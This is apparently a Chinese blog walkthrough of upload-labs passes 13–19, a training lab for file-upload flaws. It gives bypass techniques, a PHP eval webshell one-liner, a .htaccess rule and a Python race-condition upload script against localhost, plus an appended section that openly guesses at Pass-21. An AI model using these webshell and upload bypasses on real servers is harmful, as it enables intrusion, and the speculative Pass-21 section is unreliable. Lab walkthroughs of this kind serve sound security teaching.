upload-labs pass13-19

pass-13:
查看提示:
这个只要上传图片码到服务器即可在这里插入图片描述
先绕过文件头检查,添加GIF图片的文件头GIF89a,绕过图片检查
在这里插入图片描述
发现上传成功,但是查看图片信息发现被重命名了而且后缀改为了jpg格式的
在这里插入图片描述
那么制作图片码上传,将php一句话追加到jpg图片末尾

copy xx.jpg /b + shell.php /a webshell.jpg

在这里插入图片描述
用文本打开图片码,在最后发现一句话木马已经被添加到图片末尾了
在这里插入图片描述
直接上传即可

pass-14
原理和方法都是跟第pass-13pass-15一样,都是对文件幻数进行了检测,使用图片码都可以进行绕过。
每种类型的图片内容最开头会有一个标志性的头部,这个头部称为文件幻数
jpg的文件头部格式为:FFD8FFE000104A464946
png的文件头部格式为:89504E470D0A1A0A
gif的文件头部格式为:474946383961
可以使用软件winhex查看和创建伪图片码

pass-16
经过上网查到,这一关的代码对文件的后缀名和MIME类型进行了检查,而且用到了php的imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif这几个图片处理函数对上传的图片进行了二次渲染生成了新的图片,所以如果在这里上传的是一个普通的图片马,虽然图片马可以上传成功,但是上传的图片马在经过二次渲染后,图片尾部的php代码就会被删除掉,所以在这里不能使用直接在图片尾部添加一句话木马的方式去合成图片马。但是这一关的代码有一个明显的逻辑漏洞,如果这几个二次渲染函数处理的不是一个图片,就会使这几个函数报错,因为这几个二次渲染的函数只会去处理一个图片内部格式正确的图片,所以在这里只需要上传一个后缀名为jpg、png、gif的一句话木马,这样的话上传的一句话木马会绕过后缀名和MIME类型的检查,通过move_uploaded_file上传至服务器,但是遇到二次渲染时,由于上传的不是一个真正的图片,所以二次渲染函数在处理时会因为图片的内部格式报错,从而突破了对图片的二次渲染,这时候页面虽然会显示图片格式不允许,但是上传的一句话木马已经上传到了服务器
在这里插入图片描述

还有一种方法就是:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传,需要编写一个python程序来实现

pass-17
通过php代码可以看到对上传的文件后缀做了白名单限制,如果上传的文件后缀如果不是jpg、png、gif的话就会被删除掉。但是这里可以使用竞争上传的方式去突破,同时使用多个进程去上传php文件,php文件的内容是向服务器目录下写一个webshell,之后不断去去访问上传的php文件,如果在删除该php文件之前访问到了该php文件,就会向服务器目录写一个webshell,用python去实现多进程上传
原理是知道了,代码差点,不太会写

pass-18
使用图片码可以直接上传成功
在这里插入图片描述
还有一种方法是提交名字为hack.php.7Z的文件,然后用burp抓包,快速重复提交该数据包,会发现没有被重命名,提交成功。
在这里插入图片描述

pass-19
用00截断绕过即可,直接上传php文件,在save_name下一行文件名后面添加00.1.jpg,然后在hex编码中修改00编码,上传即可
在这里插入图片描述

upload-labs 项目中,Pass-21 的解题思路主要围绕文件上传时的 **MIME 类型验证绕过** 和 **文件名解析漏洞利用**。虽然未在提供的引用中直接提及 Pass-21 的具体细节,但根据 upload-labs 系列的常见设计逻辑,Pass-21 很可能涉及以下攻击模式: ### 三级标题:MIME 类型验证绕过 在某些关卡中,服务器会通过检查上传文件的 MIME 类型来阻止非图片文件的上传。攻击者可以通过在上传请求中修改 `Content-Type` 字段来绕过该检查,例如将其设置为 `image/jpeg` 或 `image/png`,即使上传的是 `.php` 文件。这种方式常用于绕过前端或服务器端的简单 MIME 类型检测机制[^1]。 ### 三级标题:双重扩展名上传与解析漏洞 服务器端可能使用了不安全的文件名处理方式,例如仅过滤了 `.php` 扩展名,但未对多个扩展名进行处理。攻击者可以尝试上传类似 `shell.php.jpg` 的文件,随后通过某些方式(如 Apache 的解析特性)使服务器将 `.php.jpg` 文件当作 PHP 脚本执行。这种攻击方式依赖于服务器配置不当,例如 Apache 的 `mod_php` 模块会解析最后一个匹配 `.php` 的扩展名。 ### 三级标题:结合 .htaccess 文件实现解析绕过 如果服务器允许上传 `.htaccess` 文件,则攻击者可以上传一个自定义的 `.htaccess` 文件,配置其将特定扩展名(如 `.jpg`)解析为 PHP 脚本。例如,添加如下内容: ```apache AddType application/x-httpd-php .jpg ``` 上传后,再上传一个以 `.jpg` 结尾的 PHP 文件,服务器会将其当作 PHP 脚本执行。这种方式常见于 Linux 环境下的 upload-labs 关卡[^3]。 ### 三级标题:条件竞争与多线程上传 在某些情况下,服务器可能对上传后的文件进行异步检查或清理,攻击者可以利用时间差进行条件竞争攻击。通过并发脚本快速上传并访问恶意文件,从而在文件被删除前完成命令执行。例如使用 Python 脚本进行多线程上传和访问: ```python import threading import requests def upload_file(): url = "http://localhost/upload-labs-master/upload.php" files = {'file': ('shell.php', "<?php @eval($_POST['cmd']); ?>", 'image/jpeg')} data = {'submit': 'Upload'} while True: requests.post(url, files=files, data=data) def access_file(): while True: requests.get("http://localhost/upload-labs-master/uploads/shell.php") threads = [] for _ in range(10): t = threading.Thread(target=upload_file) t.start() threads.append(t) for _ in range(2): t = threading.Thread(target=access_file) t.start() threads.append(t) ``` 此脚本通过并发上传和访问,尝试在服务器清理文件前完成攻击过程。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值